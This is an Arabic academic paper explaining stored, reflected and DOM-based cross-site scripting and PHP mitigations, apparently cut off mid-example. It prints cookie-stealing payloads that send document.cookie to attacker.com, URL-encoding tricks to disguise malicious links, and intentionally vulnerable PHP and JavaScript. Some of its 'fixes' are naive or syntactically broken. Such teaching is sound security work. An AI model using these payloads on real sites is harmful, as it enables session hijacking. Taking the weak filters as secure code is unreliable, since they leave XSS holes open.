ثغرات البرمجة عبر الموقع Cross-Site Scripting في الأنظمة المعلوماتية التي تعمل على الويب وطرق الحماية منها وإغلاقها.

الباحث:د.شادي شماس[1]

ملخص البحث

كثيراً ما نسمع في الآونة الأخيرة عن عمليات اختراق للمواقع الإلكترونية المنتشرة ضمن الإنترنت أو مايدعى بالأنظمة المعلوماتية التي تعمل على الويب بمختلف مجالاتها وتوجهاتها وأهدافها والتطبيقات البرمجية التي تعمل على هذه المواقع أو الأنظمة ضمن الشبكة العنكبوتية العالمية (Internet) من قِبَل أشخاص مجهولين الهوية والمصدر، أو التعدي على طرق الحماية المستخدمة فيها وتدميرها في بعض الأحيان، هذه الأحداث أو العمليات في كثير من الأحيان تؤدي إلى تدمير أو سرقة معلومات حساسة وغاية في الأهمية كما أنها أضحت مصدر رعب وإزعاج شديدين بالنسبة للمبرمجين ومطوري مواقع الويب، فأصبحوا في حيرة من أمرهم وفي بعض الأحيان عاجزين عن معرفة الأسباب الكامنة وراء ما يحدث.

في هذا البحث قمت بإعداد دراسة عن إحدى الثغرات الأمنية الهامة والتي هي عبارة عن خطأ برمجي يمكن استغلاله أو استثماره عن طريق دمج نصوص برمجية بواسطته، وعادةً تكون هذه النصوص البرمجية مكتوبة بإحدى اللغات التي يمكن دمجها مع لغة الترميز الفائقة للنصوص (HTML) ومن أشهرها لغة Java Script أو VBScript أو أي لغة أخرى، وقد تم اختصارها بـXSS أي البرمجة عبر الموقع، كما بينت أين تكمن خطورة هذه الثغرة واستنتجت بأنها تمتاز بقوة تأثيرها الفعالة في عملية إختراق المواقع الإلكترونية، وإن عملية

---

[1] دكتور(عضو هيئة تدريسية – مدرس متفرغ) في كلية الهندسة المعلوماتية – قسم هندسة البرمجيات ونظم المعلومات -جامعة البعث.

PDF-XChange
Click to buy NOW!
www.tracker-software.com

معالجة ما يقوم به المستخدم من إدخال تعتبر من الأمور الهامة لتفادي حدوث هذا النوع من الثغرات، وغيرها من النتائج الأخرى.

كلمات مفتاحية:ثغرة أمنية ، البرمجة عبر الموقع، أمن نظم المعلومات التي تعمل على الويب، الضعف، الخبيثة، الهجوم، الدفاع، اختراق المواقع.

Cross-Site Scripting in Web-based information systems and methods of protection and closure□

Abstract

In recent times we have been hearing about penetrations of websites that are spread over the Internet or what are called information systems that operate on the Internet in various fields, directions, objectives and software applications that operate on these websites or systems within the Internet by unknown persons and the source, Infringement and destruction of protection methods In some cases, these events or operations often result in the destruction or theft of sensitive and critical information and have become a source of great horror and inconvenience to programmers and web developers. They are at a loss and sometimes unable to figure out the reasons for what is happening.

In this research I have prepared a study on one of the important security vulnerabilities which is a programming error that can be exploited or exploited by the integration of scripts by it. These texts are usually written in one of the languages that can be combined with the hypertext markup language (HTML) Java Script, VBScript, or any other language. XSS, ie, cross-site programming, was also abbreviated. It also showed the severity of this vulnerability and its effectiveness in the process of penetrating websites. The process of processing user input is important to avoid. This type of occurrence occurs Rat, and other other results.

Keywords: Security vulnerability, cross-site scripting, security information systems that work on the web, vulnerability, malware, attack, defense, hacking sites.

١ -مقدمة البحث Introduction to Research:

تعتبر المواقع ذات الصفحات الثابتة والتي لا يتم التعديل فيها أو التغيير بمحتوياتها بشكل دوري أو لا يكون للزائر أو المستخدم أي دور فيها مجرد تصميم ثابت غير فعّال، أما المواقع ذات الصفحات الفعّالة فهي التي تتغير بشكل مستمر وفي أي لحظة، ويستطيع أي مستخدم يملك الصلاحيات المناسبة أن يغير فيها، وهذه الخاصية تُعتبر ميزة هامة أعطت الزائر أو الشخص المسجل والذي يملك صلاحيات معينة إمكانية تعديل هذه الصفحات كإضافة تعليق أو إضافة موضوع جديد أو إضافة ما يريد في هذه الصفحات كالصور أو الفيديو أو مقال نصي، ولكن في كثير من الأحيان قد يتعدى الأمر ذلك إلى إضافة كود برمجي أو إعطاء أوامر برمجية خبيثة يستطيع من خلالها المهاجم تدمير المعلومات الحساسة في الموقع والاستيلاء عليها أو حتى تدمير الموقع وهنا تكمن الخطورة، وهذه الخاصية تعتبر ضعف برمجي أو ثغرة أمنية تدعى البرمجة عبر المواقع XSS (Cross-Site Scripting)، فهي يمكن أن تسمح للمتسللين بإدخال كود جافا سكريبت الضار (Java Script code) في موقع ويب وبالتالي سيتم مهاجمة زائر الموقع وتنفيذ الشيفرات الخبيثة تلقائياً.

بالإضافة إلى ذلك، يمكن للمتسلل أو المخترق أن يسرق ملفات تعريف الارتباط (Cookies) للزوار والحصول على حق الزائر أيضاً، وبالتالي، فإنه يهدد أمان الويب في جزء العميل مباشرةً ويسرق معلومات الزائر مثلاً أو يعيد توجيهه لزيارة موقع ويب آخر أنشأه هو بشيفرة خبيثة بالفعل، وحتى أنه يمكنه التحكم في كمبيوتر الزائر.

على الرغم من وجود بعض الطرق التي يمكنها الكشف عن هجمات أو تهديدات XSS ، إلا انه لا يزال يتعذر اكتشافها تماماً، نظراً لأنه يمكن إنشاء كود XSS بمرونة، فإن هذا يمثل مشكلة كبيرة ويستخدم أيضاً لمهاجمة الكثير من مواقع الويب الشهيرة، مثل Yahoo و Myspace ومواقع Joomla القائمة على الويب وما إلى ذلك، لذلك، يتعين علينا إيلاء المزيد من الاهتمام لهذه الثغرة الأمنية ومعرفة المزيد من الطرق لمنع هذه الهجمات، وبالتالي أهمية هذا البحث وهدفه تكمن في دراسة هذا النوع من الثغرات الأمنية ضمن المواقع، وتحديد طرق كشفها في حال وجودها، وكيف يتم إستغلالها أو إستثمارها من قبل

المخترقين، وما هي الآليات التي يمكن إتباعها لترقيع أو سدّ هذا النوع من الثغرات أو الضعف البرمجي من أجل جعل المزيد من المستخدمين يدركون ذلك.

٢ - هدف البحث Research goal:

في أيامنا هذه، أصبح أمن الشبكات والأنظمة المعلوماتية أكثر وأكثر أهمية في حياتنا اليومية، نظراً لحقيقة أننا لا نستطيع العيش بدون الإنترنت، فإن توفير بيئة جيدة وشبكات آمنة ضروري للغاية، لذلك فإن هدف هذا البحث هو دراسة مفهوم ما يسمى البرمجة عبر المواقع (Cross-Site Scripting) والتي هي إحدى أنواع الثغرات الأمنية أو الأخطاء البرمجية المنتشرة بكثرة في المواقع التي تعمل ضمن شبكة الإنترنت بشيء من التفصيل، وذلك لأن هذه الهجمات (XSS) تخاطر بملايين المواقع الإلكترونية، حيث يمكن استخدام XSS لحقن شفرة البرمجة الضارة في التطبيقات، ومن ثم إرجاع الشيفرة المعادة مرة أخرى إلى جانب العميل، فعندما يستخدم المستخدمون مستعرض الويب لزيارة المكان الذي تم حقن شفرة البرمجة الخبيثة فيه، سيتم تنفيذ التعليمات البرمجية مباشرة على جهاز الكمبيوتر الخاص بالعميل، والهدف الآخر هو العمل على تحليل هذا الخطأ أو الثغرة وإبراز المخاطر التي يمكن أن تحدث عنها وما هي الآلية أو الطريقة التي يتم إستغلالها من خلالها، وذكر أهم الحلول المناسبة لترقيعها أو الوقاية والحماية منها قدر الإمكان، وتقديم النصائح التي يمكن أن يستفيد منها المبرمج والتي بدورها سوف توفر عليه الوقت في إيجاد الحلول المناسبة لهذه المشكلة التي يمكن أن يعاني منها وتساعده على زيادة ما في جعبته من معلومات وتجعله على معرفة جيدة بهذا النوع من المشاكل التي قد يتعرض لها وذلك بأسلوب عملي مفصل وبسيط يتم فيه استخدام الكود البرمجي الذي يوضح كيفية تطبيق هذه النصائح والحلول.

المناقشة Discussion

٣ - مفهوم البرمجة عبر المواقع XSS:

إن XSS هي إختصار للكلمات التالية Cross Site Scripting وبعض الأحيان تسمى الثغرة بإسم Css، وهذه الثغرة بإختصار تُمكّن المخترق من إرسال نصوص برمجية تعمل على اختراق المفسر الذي يعمل عليه المتصفح حيث يمكن اعتبار أي مصدر للبيانات هو مصدر للهجوم على موقع الويب متضمناً البيانات التي يتم جلبها من قاعدة البيانات

وتجدر الإشارة إلى أن أي شخص يمكنه القيام بإرسال بيانات غير موثوقة إلى نظام المعلومات بمن فيهم المستخدمين الخارجيين أو الداخليين أو حتى مدراء النظام، وتعتبر هذه الثغرة هي الأكثر انتشاراً في تطبيقات الويب وتتواجد في أماكن إدخال البيانات من قبل المستخدمين والتي لاتتضمن عمليات التأكد من سلامة البيانات المرسلة وتخطيها وتمكن المخترق أيضاً من تشغيل برامج خبيثة عبر متصفح الضحية، وسرقة جلسة الاتصال(Sessions) أو ملفات الكوكيز (Cookies) الخاصة بالمستخدمين، وتشويه الموقع المراد زيارته من خلال تعديل صفحاته وعمل صفحات مزورة مع الاحتفاظ بنفس رابط الصفحة والنطاق (Domain)، وإدراج محتويات خبيثة، وإعادة توجيه المستخدم لموقع آخر والتحكم بمتصفح الضحية، وقد اعتبرتها منظمة OWASP بأنها نوع من أنواع الحقن INJECTION [3] [2][1]، كما تكمن خطورتها أيضا في تمكين المخترق من حقن شيفرات HTML داخل السكريبت (Script) المصاب أو تمرير بعض الأوامر البرمجية المكتوبة بلغة برمجة يمكن دمجها أو حقنها ضمن لغة HTML ومن أشهر هذه اللغات لغة Java Script أو لغة VBScript وذلك خلال مدخلات المستخدم، أو حقن كود خبيث بداخل ارتباط تشعبي يتم جذب المستخدم إليه، أو حقنActiveX أو Flash، وهذا النوع من الثغرات أكتسب شهرة واسعة بين المخترقين لأنه سهل الاستخدام ومتوفر في الكثير من المواقع [5][4].

٤ -مخاطر ثغرة البرمجة عبر المواقع XSS:

يمكن حصر مخاطر هذه الثغرة بالنقاط التالية [7][6][4]:

- سرقة ملفات تعريف الارتباط (cookies) لأي شخص من داخل السكريبت (Script).
- إضافة أي كود جافا سكريبت (Java Script) إلى المواقع.
- إضافة أي كود Html بجميع أنواعه إلى الموقع.
- تلغيم المواقع بحقن كود Html وذلك لتحميل ملف الباتش (Patch) بجهاز متصفح السكريبت.
- سرقة ملفات الكوكيز الخاصة بأي عضو أو حتى المدير للموقع (Administator).
- تحويل الروابط أو الاستيلاء عليها لتحقيق ما يعرف بالاصطياد الإلكتروني.
- القيام بإضافات للموقع قد تكون غير لائقة إلكترونياً.

- جمع المعلومات عن شخص ما، وكل شيء عن حسابه، أو حتى تغيير إعداداته.
- عرض معلومات خاطئة عن المنتجات أو السلع أو الأشخاص أو غيرها في المواقع الالكترونية.
- الحصول على كنز هائل من البيانات الحسّاسة بما في ذلك أرقام بطاقات الائتمان، وأرقام الضمان الاجتماعي التي قد يدخلها المستخدم في الموقع.

٥ -أنواع ثغرات XSS وطرق استثمار كل منها ضمن المواقع:

يوجد ثلاث أنواع يمكن استخدامها بثلاث طرق مختلفة هي:

٥ - ١ - STORED XSS:

وتدعى أيضاً بثغرات البرمجة عبر الموقع الثابتة أو المستمرة (Persistent XSS)، وفيها يمكن للمهاجمين ضخ الشفرة الخبيثة في الصفحة باستمرار وهذا يعني أن الشفرة أو كود الحقن ستخزن في الخادم وعادة تكون في قاعدة بيانات الموقع، وسيتم تخزين هذا الكود في الصفحة التي ستظهر للزوار في وقت لاحق، فإذا انتقل الزائر إلى الصفحة المضمنة مع شيفرة الهجوم XSS ، فسيتم تنفيذ التعليمات البرمجية على جهاز الكمبيوتر الخاص بالزائر، ويقوم المتسللون عادةً بنشر هذه الشيفرة في المقالة أو في المنتدى أو في المدونة للسماح للمستخدمين الآخرين بقراءتها في المستقبل ومهاجمتهم أكثر[5][8]، وهي تعتبر خطيرة للغاية وذلك لان كود الحقن أو الشيفرة الخبيثة التي يتم حقنها غير مرئية لمرشح XSS ضمن المتصفح (browser's XSS filter) بالإضافة إلى أن المستخدمين أو الزوار قد يقومون بطريق الخطأ بتشغيل كود الحقن إذا زاروا الصفحة المتأثرة، ويمكن أن تحدث الثغرة الأمنية المخزنة عندما لايتم تطهير اسم المستخدم لعضو المنتدى على الانترنت بشكل صحيح فعند كتابته أو طباعته على الصفحة في هذه الحالة يمكن للمهاجم إدراج تعليمات برمجية ضارة عند تسجيل مستخدم جديد في النموذج، وبالتالي عندما سينعكس اسم المستخدم في صفحة المنتدى سيكون كمايلي:

Username:
user123<script>document.location='https://attacker.com/?cookie='+
encodeURIComponent(document.cookie)</script>

وفي كل مرة يزور فيها المستخدم قسم المنتدى يتم تشغيل التعليمات البرمجية أعلاه، ويرسل ملفات الكوكيز (cookie) الخاصة بالمستخدمين الخاصة بالمنتدى إلى المهاجم، والذي يمكنه بعد ذلك من استخدامها في الحصول على جلسات العمل الخاصة بهم[8]. فإذا اعتبرنا انه لدينا منتدى أو موقع ويب خاص بوسائط التواصل الاجتماعي (social media website) يحتوي على صفحة مقابلة عامة معرضة لثغرة XSS المخزنة كصفحة الملف الشخصي للمستخدم مثلاً فإذا كان المهاجم قادراً على وضع كود الحقن الخاص بإضافة نفسه إلى صفحة البروفايل أو الملف الشخصي ففي كل مرة يقوم فيها الشخص أو المستخدم بفتحها فإن الشفرة الضارة ستنشر نفسها بشكل كبير مع نمو هائل[8].

بمعنى آخر يمكن القول بأن هذا النوع من الثغرات يتم عند حقن الكود داخل الموقع عن طريق الطريقة POST ، وكمثال على هذا النوع ثغرة XSS في جزء الإهداءات (hack)، حيث يقوم المخترق بإضافة إهداء في الموقع، ومكان محتوى الإهداء يقوم بكتابة كود HTML الخاص به ثم يضغط على زر إضافة ويقوم بعمل تحديث لصفحة الموقع فيلاحظ أن شريط الإهداءات يعمل وفيه إهدائه محقون بكود Html، وبالتالي فإنه سيتم تنفيذه في أي جهاز يتم تصفح الإهداءات فيه، ويقال هنا أنه حقن داخلي [10][9]، فعلى سبيل المثال إذا تم حقن أي سكريبت (Script) مصاب بثغرة XSS بهذا الكود المكتوب بلغة Html :

```
<html>
<******* name="I1" ***="http://www.example.com"
margin*****="1" margin******="1" ******="1" *****="1"
scrolling="no" border="0" frameborder="0">
</******>
</******></p>
  </html>
```

فإنه سيتم إدراج صفحة example.com داخل الموقع وذلك بشكل غير مرئي، فإذا إفترضنا مثلاً أن هذه الصفحة تحوي كود سحب ملفات الكوكيز أو ملغومة ببانتش ما (Patch)، أو أي كود Html آخر خطِر فإنه سيتم تنفيذ هذا الكود وبالتالي اختراق الموقع وسرقة بياناته[10] .

ولتوضيح هذا النوع أكثر سنأخذ مثال آخر كلاسيكي على ذلك هو لوحات الرسائل عبر الإنترنت حيث يُسمح للمستخدمين بنشر رسائل بتنسيق HTML ليتمكّن المستخدمون الآخرون من قراءتها، فتحدث هذه الثغرة عندما يقوم المطور بتخزين بيانات إدخال المستخدم في خادم قاعدة البيانات أو ببساطة كتابتها في ملف دون فلترة أو ترشيح مناسب، ثم إرسالها مرة أخرى إلى متصفح العميل كمايلي:

```
<?php
if(isset($_POST['btnSign']))
{
$message=trim($_POST['mtxMessage']);
$name=trim($_POST['txtName']);
// Sanitize message input
$message = stripslashes($message);
$message = mysql_real_escape_string($message);
// Sanitize name input
$name = mysql_real_escape_string($name);
$query = "INSERT INTO guestbook (comment,name) VALUES (
'$message','$name');";
$result=mysql_query($query) or die('<pre>'.mysql_error().'</pre>');
}
?>
```

نلاحظ مماسبق انه لا يتم تعقيم الوسيطين أو البارامترين "message" و "name" في الكود المكتوب بشكل صحيح، حيث يتم تخزين هذه الوسطاء في جدول دفتر الزوار، لذلك عندما يتم عرض هذه الوسطاء مرة أخرى في متصفح العميل، فإنه سيتم تنفيذ شفرة أو كود JavaScript الضارة [11].

٢-٥- REFLECTED XSS:

وتدعى أيضاً بثغرات البرمجة عبر الموقع غير الثابتة أو غير المستمرة (non-persistent) وهي هجوم مؤقت وذلك لأنه لا يمكن حقن الشيفرة أو الكود في الخادم، كما إنه فقط يتيح للخادم استخدام الشفرة الخبيثة المحقونة لإنشاء صفحة فوراً ثم إرسال عنوان URL الخاص بهذه الصفحة المؤقتة إلى أي شخص يريد المهاجم أو المخترق مهاجمته، فإذا قام المستخدم بالنقر على عنوان URL هذا فإنه سيتم تنفيذ التعليمات

البرمجية الضارة في هذه الصفحة المؤقتة، وذلك لأن هذا الهجوم يعتمد على عرض أو تشغيل المستخدم، ولهذا السبب هذا النوع من الثغرات يدعى REFLECTED XSS [5][8][11][12].

وبمعنى آخر يمكن القول أن ثغرة XSS المنعكسة تحدث عند إرجاع أو عكس أحد تطبيقات الويب لمحتوى مستخدم يمكن التحكم فيه أو السيطرة عليه والذي ينشأ من مستعرض المستخدم ، إلى مستعرض المستخدم، وعادةً ما ينطوي استغلال مثل هذه الثغرة الأمنية على قيام المهاجم بإطعام الضحية رابطاً إلى عنوان URL ساماً ، والإشارة إلى صفحة الويب المعرضة للخطر والتي تحتوي على برنامج نصي ضار من جانب العميل (malicious client-side script) في معلمة GET ، وعندما تنقر الضحية على الرابط، فإن كود الحقن في url ينعكس على خادم الويب (web server) وينفذ في متصفح الضحية، وسنأخذ مثال يوضح كيفية الاستفادة من قبل المهاجم بهذا النوع من الثغرات، سوف نستخدم في هذا المثال دالة البحث على موقع أخبار، والذي يعمل عن طريق إلحاق مدخلات المستخدم، والتي يتم أخذها من طلب GET ، إلى وسيط q ، كمايلي:

https://example.com/news?q=data+breach

في نتائج البحث، يعكس موقع الويب محتوى الاستعلام الذي بحث عنه المستخدم ،كمايلي:

You searched for "data breach":

إذا كانت دالة البحث عرضة لضعف البرمجة النصية عبر المواقع، يمكن للمهاجم إرسال للضحية رابط كمايلي:

https://example.com/news?q=<script>document.location='https://attacker.com/log.php?c=' + encodeURIComponent(document.cookie)</script>

وبمجرد أن تنقر الضحية على الرابط السابق، سيعرض موقع الويب ما يلي:

You searched for "<script>document.location='https://attacker.com/log.php?c=' + document.cookie</script>":

تقوم شفرة مصدر HTML ، والتي تعكس الشفرة الخبيثة للمهاجمين، بإعادة توجيه الضحية إلى موقع ويب يتحكم فيه المهاجم، ويمكنه بعد ذلك تسجيل ملف الكوكيز الحالي للمستخدم لأجل الموقع example.com كوسيط GET[8].

الان لنفرض أن الضحية قام بالنقر على الرابط التالي:

https://vulnerable_website.com/error.php?message=<script>var+i=new+Image;+i.src="http://attacker.com/"\%2bdocument.cookie;</script>

فإن ذلك سيؤدي إلى قيام متصفح الضحية بتقديم طلب إلى موقع المهاجم المحتوي على ملف تعريف الارتباط (cookie) الخاص بالموقع الضعيف (الحاوي على الثغرة) كمعلمة أو وسيط (parameter)، ونتيجة لذلك، يمكن للمهاجم استرداد رمز الجلسة (session token) من موقعه على الويب وربما اختطاف جلسة الضحية (.victims session)، ويصبح اختطاف الجلسة (اختراق الجلسة) أسهل بكثير عند تطبيق المزيد من المشكلات المتعلقة بالجلسة كالتالي:

لا يتم تحديث الرموز المميزة للجلسة (session tokens)عند تسجيل الدخول / الخروج .

لا يتم إنهاء جلسات العمل تلقائياً بعد فترة زمنية محدودة.

يُسمح بتسجيل الدخول المتزامن.

لا ترتبط الجلسات بعناوين IP معينة.

يتم إعادة استخدام الرموز المميزة للجلسة بين الجلسات.

تكون خوارزمية إنشاء رموز جلسة عمل جديدة ضعيفة، مما يجعل الرموز اللاحقة القابلة للتخمين [13].

وهذا النوع يصعب استخدامه ما لم يتمكن المهاجم من العمل بجد على عنوان URL وإقناع المستخدم بتشغيل عنوان URL الخطير، لذلك يحاول المخترق أو المهاجم إيجاد عدة طرق لجعل عنوان URL يبدو وكأنه عنوان موثوق به لموقع الويب، فمثلاً يمكن للمهاجم تشفير عنوان URL في قيمة Hex (Hex value) أو أي نوع آخر من الترميز من أجل أن يبدو هذا العنوان أكثر صدقاً وموثوقية، وبذلك يعتقد المستخدم أنه لا يوجد أمر ضار في الداخل ويقوم بالنقر فوق ذلك، فمثلاً نعلم بأن Google موقعاً مشهوراً وموثوقاً به، فإذا كان يحتوي على XSS REFLECTED ، فعندئذٍ يمكن للمهاجم حقن

تعليمات برمجية ضارة في عنوان URL الخاص بالموقع ومن ثم ترميز هذا العنوان، وهناك العديد من الأدوات على الإنترنت والتي يمكن أن توفر خدمة ترميز الكود من ASCII إلى ASCII العشري أو الست عشري أو أي أنواع أخرى، وبعد الانتهاء من ترميز عنوان URL، سيقوم المهاجم بإرساله لخداع المستخدم في النقر وكذلك استخدام بعض الحيل التي يمكن أن تجذب المستخدم للنقر[4][10][12].

إذا كان لدينا عنوان URL التالي الذي يجعل المستخدمون يتلقون نافذة تحذير ومن ثم إظهار عبارة XSS بمجرد ان يتم النقر على هذا العنوان:

http://dict.cn/<_2Ftitle><script>alert("XSS")<_2Fscript><title>

نلاحظ هنا أن المهاجم إذا طالب المستخدم بالنقر على العنوان السابق فلن يقبل المستخدم ذلك لأنه واضح في العنوان وجود كود برمجي، لذلك يقوم المهاجم بترميزه وبالتالي لايستطيع المستخدم فهمه ويعتقد بأن هذا العنوان امن وموثوق ويقوم بالنقر عليه عند الطلب منه ذلك ليصبح على الشكل التالي مثلاً[12]:

http://dict.cn/%3C_2Ftitle%3E%3Cscript%3Ealert(%22XSS%22)%3C_2Fscript%3E%3Ctitle%3E

٣-٥ :DOM-based XSS

يعد هجوم DOM-based XSS نوعاً آخر من ثغرات XSS الشائع استخدامها من قبل المهاجمين أيضاً، وقبل التحدث عن هذا الأسلوب من الثغرات نحن بحاجة إلى معرفة ما هو الـDOM ، DOM هو اختصار لـ Document Object Model وهو منصة عمل وواجهة محايدة للغة تستخدم البرمجة النصية (scripting) لتعديل المحتوى وتحديث تاريخ وهيكلية ونمط المستندات [4][12][13][14]، وهو يُستخدم على نطاق واسع في HTML و XML في الويب ذو الاصدار ٢.٠ (Web 2.0)، يُمكّن الـ DOM في HTML من إنشاء بنية شجرية من وثائقHTML ، لذلك يمكن التحكم بسهولة في كل فرع من فروع الشجرة وتعديلها بواسطة DOM، ومع ذلك يسمح DOM للبرنامج النصي (scripting) بتغيير مستند HTML أو XML ، ويمكن تعديل مستند HTML أو XMLبواسطة برنامج نصي أو برنامج للقراصنة أو المهاجمين، لذلك يستخدم هجوم DOM-based XSS ثغرة الـ DOM لجعل XSS حقيقة، ويختلف هذا النوع من عدم حصانة XSS تماماً عن هجوم REFLECTED XSS أو STORED ولا يقوم

بإدخال تعليمات برمجية ضارة في إحدى الصفحات، لذلك فإن مشكلة كائن DOM غير الآمن يمكن التحكم فيها من جانب العميل في صفحة الويب أو التطبيق، لهذا السبب يمكن للمهاجمين أن يسمحوا لكود الهجوم أو شفرة الهجوم بأن تنفذ في بيئة DOM لمهاجمة جانب الضحية [12][15]، ويعد هذا أمراً خطيراً ولا يعمل الدفاع المعتاد عن مشكلة عدم حصانة XSS في هذا النوع من الهجوم [8].

بمعنى آخر يمكن القول بأن هذا النوع من الثغرات يحدث عندما يقوم خادم الويب بإرجاع برنامج نصي من جانب العميل يقوم بتضمين محتوى غير مستخدم يمكن التحكم به من DOM في صفحة الويب، والسمة الوحيدة في DOM والتي يمكن التحكم فيها من قبل المستخدم في هذا السياق هي document.URL لاستغلال هذه الثغرة الأمنية ، يقوم المهاجم بإطعام الضحية ارتباطاً خبيث او غير سليم، وعندما تنقر الضحية على الرابط، يتم تخزين عنوان URL الذي يحتوي على كود الحقن في DOM ، ثم نتيجة لطلب الويب الذي يحتوي على البرنامج النصي أو السكريبت (script) من جانب العميل يحصل تنفيذها من قبل المتصفح[13].

والمثال التالي يوضح ماسبق

```
<script>
var a = document.URL;
a = unescape(a);
document.write(a.substring(a.indexof("message=") + 8, a.length))
</script>
```

نلاحظ من الكود السابق انه سيتم تضمين هذا الجزء من عنوان URL والذي هو "message =" ، مما يؤدي إلى تنفيذ التعليمات البرمجية الضارة في المتصفح [13].

سنأخذ مثال آخر يوضح هذه النوع من الثغرات، لنفرض لدينا الصفحة التالية http://www.example.com/test.html تحتوي على الكود التالي[8]:

```
<script>
document.write("<b>Current URL</b> : " +
;(document.baseURI
<script/>
```

إذا قام المهاجم بإرسال طلب HTTP مثل هذا:

http://www.example.com/test.html# <script> alert (1) </script>

فسيتم تنفيذ كود JavaScript بطريقة بسيطة بما فيه الكفاية، لأن الصفحة تكتب ما يكتبه المهاجم في URL إلى الصفحة مع وظيفة document.write ، وبالنظر إلى مصدر الصفحة، فلن نرى <script> alert (1) </script>لأنه يحدث كل ذلك في DOM ويتم تنفيذه بواسطة شفرة JavaScript المنفذة، وبعد تنفيذ التعليمات البرمجية الضارة بالصفحة، يمكن للمهاجم ببساطة استغلال هذه الثغرة لسرقة ملفات الكوكيز (cookies) للمستخدم أو تغيير سلوك الصفحة كما يريد.

حددت العديد من الأبحاث والدراسات أن ما يصل إلى ٥٠٪ من مواقع الويب معرضة لمثل هذه النوع من الثغرات، وحدد الباحثون في مجال الأمن بالفعل أن هذا النوع من الثغرات متوفر في شركات الإنترنت البارزة مثل Google و Yahoo و.Alexa .

أحد أكبر الاختلافات بين DOM Based XSS ونقاط الضعف XSS العاكسة أو المُخزّنة هو أنه لا يمكن إيقاف تشغيل DOM المستندة إلى XSS بواسطة المرشحات من جانب الخادم، والسبب بسيط جداً، لن يتم إرسال أي شيء مكتوب بعد "#" (علامة التجزئةhash) إلى الخادم[8].

٦ - إغلاق ثغرات XSS والوقاية منها:

سنقوم في هذه الفقرة بشرح بعض الطرق والأساليب التي يجب إتباعها من جانب المستخدمين (Client-side) أو من جانب المخدم (Server-side) لسد هذا النوع من الثغرات وتقديم بعض النصائح للمستخدمين والمطورين لتجنبها وهي كالتالي:

- معالجة دخل المستخدم بحيث يتم منع إدخال شيفرات HTML وبالتالي منع شيفرات JavaScript [18] [17] [16].
- التحقق من صحة جميع الرؤوس (headers) وملفات تعريف الارتباط (cookies) والاستعلام المحرفي (query strings) وحقول النماذج (form fields) والحقول المخفية (hidden fields) أي جميع البارامترات (parameters) مع التحديد الدقيق لما يجب السماح به [16].

- كتابة الرابط في المتصفح الذي يقود المستخدم إلى الموقع الذي يريده بدلاً من الضغط عليه يحميه من عملية الاستغلال من قبل المهاجمين من هذه الثغرة لان ذلك سيساعد في تنفيذ ثغرة XSS مباشرةً، وهذه العملية تحل ٩٠% من هذه المشكلة[12].
- عدم فتح البريد الإلكتروني المجهول المصدر أو الملف المرفق فيه لان ذلك سيؤدي إلى تنفيذ ثغرة XSS مباشرة إذا كانت محقونة [12].
- إذا لم يكن المستخدمون بحاجة إلى استخدام وظائف javascript أو ActiveX أو Quicktime، فيمكن للمستخدمين تعطيل javascript في مستعرض الويب أو استخدام إصدار Firefox noscript [18].
- وضع مستوى الحماية في المتصفح على المستوى high فهذا الإجراء يمنع من سرقت ملف الكوكيز (cookies) [17][16].
- اختيار مستعرض ويب آمن من جانب المستخدم، وتحديثه بشكل دائم بأحدث إصدار [12]
- تشفير البيانات باستخدام طرق قويه قبل إرسالها وضبط إعدادات الخادم بحيث يستخدم طرق لتشفير قنوات الاتصال ليتمكن من إرسال المعلومات بطرق آمنة [16].
- منع المستخدم من إدخال وسوم HTML من خلال الدالة strip_tags() التي تزيل كل وسوم الـHTML وتمنعها، وسنوضح كيفية إستخدامها من خلال المثال التالي المكتوب بلغة PHP:

```
<?php
Echo strip_tags($_POST['input_name]) ;
?>
```

وإذا كان هناك حاجة من قبل المستخدم لإدخال بعض الروابط والأوسمة (Tags) التي لا تشكل خطراً مباشراً أو لا تشكل خطراً نهائياً مثل الوسوم <b>,<h1> وغيرها من الوسوم الأخرى، فإنه يمكن إستخدام الدالة strip_tags التي تستقبل متغيرين الأول هو النص المراد فحصه وتنقيته وحذف جميع الأوسمة الغير مسموحة منه، والثاني هو الأوسمة المسموح بها مثل [<b>] والمثال التالي يوضح كيفية استخدام هذه الدالة والمكتوب بلغة PHP:

```
<؟
class check
{function check()
global $HTTP_POST_VARS;
```

```
$User Name=$HTTP_POST_VARS['User Name'];
$User Name= strip_tags($User Name, "<b><h1>");
echo($User Name);}};
$start_new=new check();
؟>
```

فالدالة السابقة تقوم بمنع الوسوم الخاصة بلغة HTML ولكنها تسمح بالوسوم <b>,<h1> [18].

- استخدام دوال التعامل مع النصوص عندما يكون من الضروري استخدام وسوم HTML ضمن النصوص لان ذلك سيساعد على عملية استبدال الأكواد أو الشفرات الخبيثة [19]، والمثال التالي يوضح ماسبق:

```
<?php
function clear_from_xss($contents)
{
return str_replace('<script', '', str_replace('<meta', '', $contents));
}
?>
```

وتكون طريقة الاستخدام:

```
<?php
echo clear_from_xss($_POST['input_name']);
?>
```

- أحياناً الإصابة بهذا النوع من الثغرات يتم غالباً عن طريق استخدام مربعات البحث (Search)، كمربع البحث الموجود غالباً ببعض برامج الPHP لذلك يفضل في هذه الحالة استخدام دوال خارجية مثل htmlentities(), htmlspecialchars(), utf8_decode() والتي تعتبر فعّالة وناجحة، وتتميز بالسرعة وقلة الأخطاء التي تُستَغَل ضد التطبيق [18]، فمثلاً بدلاً من أن يكون الكود بالشكل:

```
<?php
print $_GET['hacked'];
?>
```

يجب كتابته بالشكل:

```
<?php
print htmlspecialchars($_GET['hacked']);
```

```
?>
```

وهذا مثال آخر يوضح كيفية الاستفادة من الدوال السابقة وذلك لتجنب الوقوع بهذه الثغرة :

```
<form>
<input type="text" name="message"></br>
<input type="submitt" >
</form>
<?php
if(isset($_GET['message']))
{
$message=htmlentities(($_GET['message']);
$fp=fopen('./message.txt','a');
fwrite($fp,"$message</br>");
fclose($fp);
}
readfile('./message.txt');
?>
```

- فلترة المتغيرات بحيث لا تقبل أي كود يوضع، لنذكر مثال نوضِّح فيه كيفية تمرير معلومات الكوكيز (cookies) إلى صفحة خارجية ولنوضِّح ماذا على المبرمج القيام به لسد هذه الثغرة، لنقم الآن بعمل صفحة بلغة php تحتوي على متغير ينفذ أي كود نسميها xss.php مثلاً وليكن محتواها[19]:

```
<?
if ( isset($code) )
_
echo stripslashes($code);
_
echo "<form method='get_><input type='text' name='code'><input
type='submit'></form>_;
?>
```

ولننشئ صفحة أخرى مهمتها إنشاء الكوكيز (cookies) ونسميها res.php مثلاً تحتوي الكود البرمجي التالي:

```
<?
Setcookie("myname" , "alqursan" , "time()+(3600");
?>
```

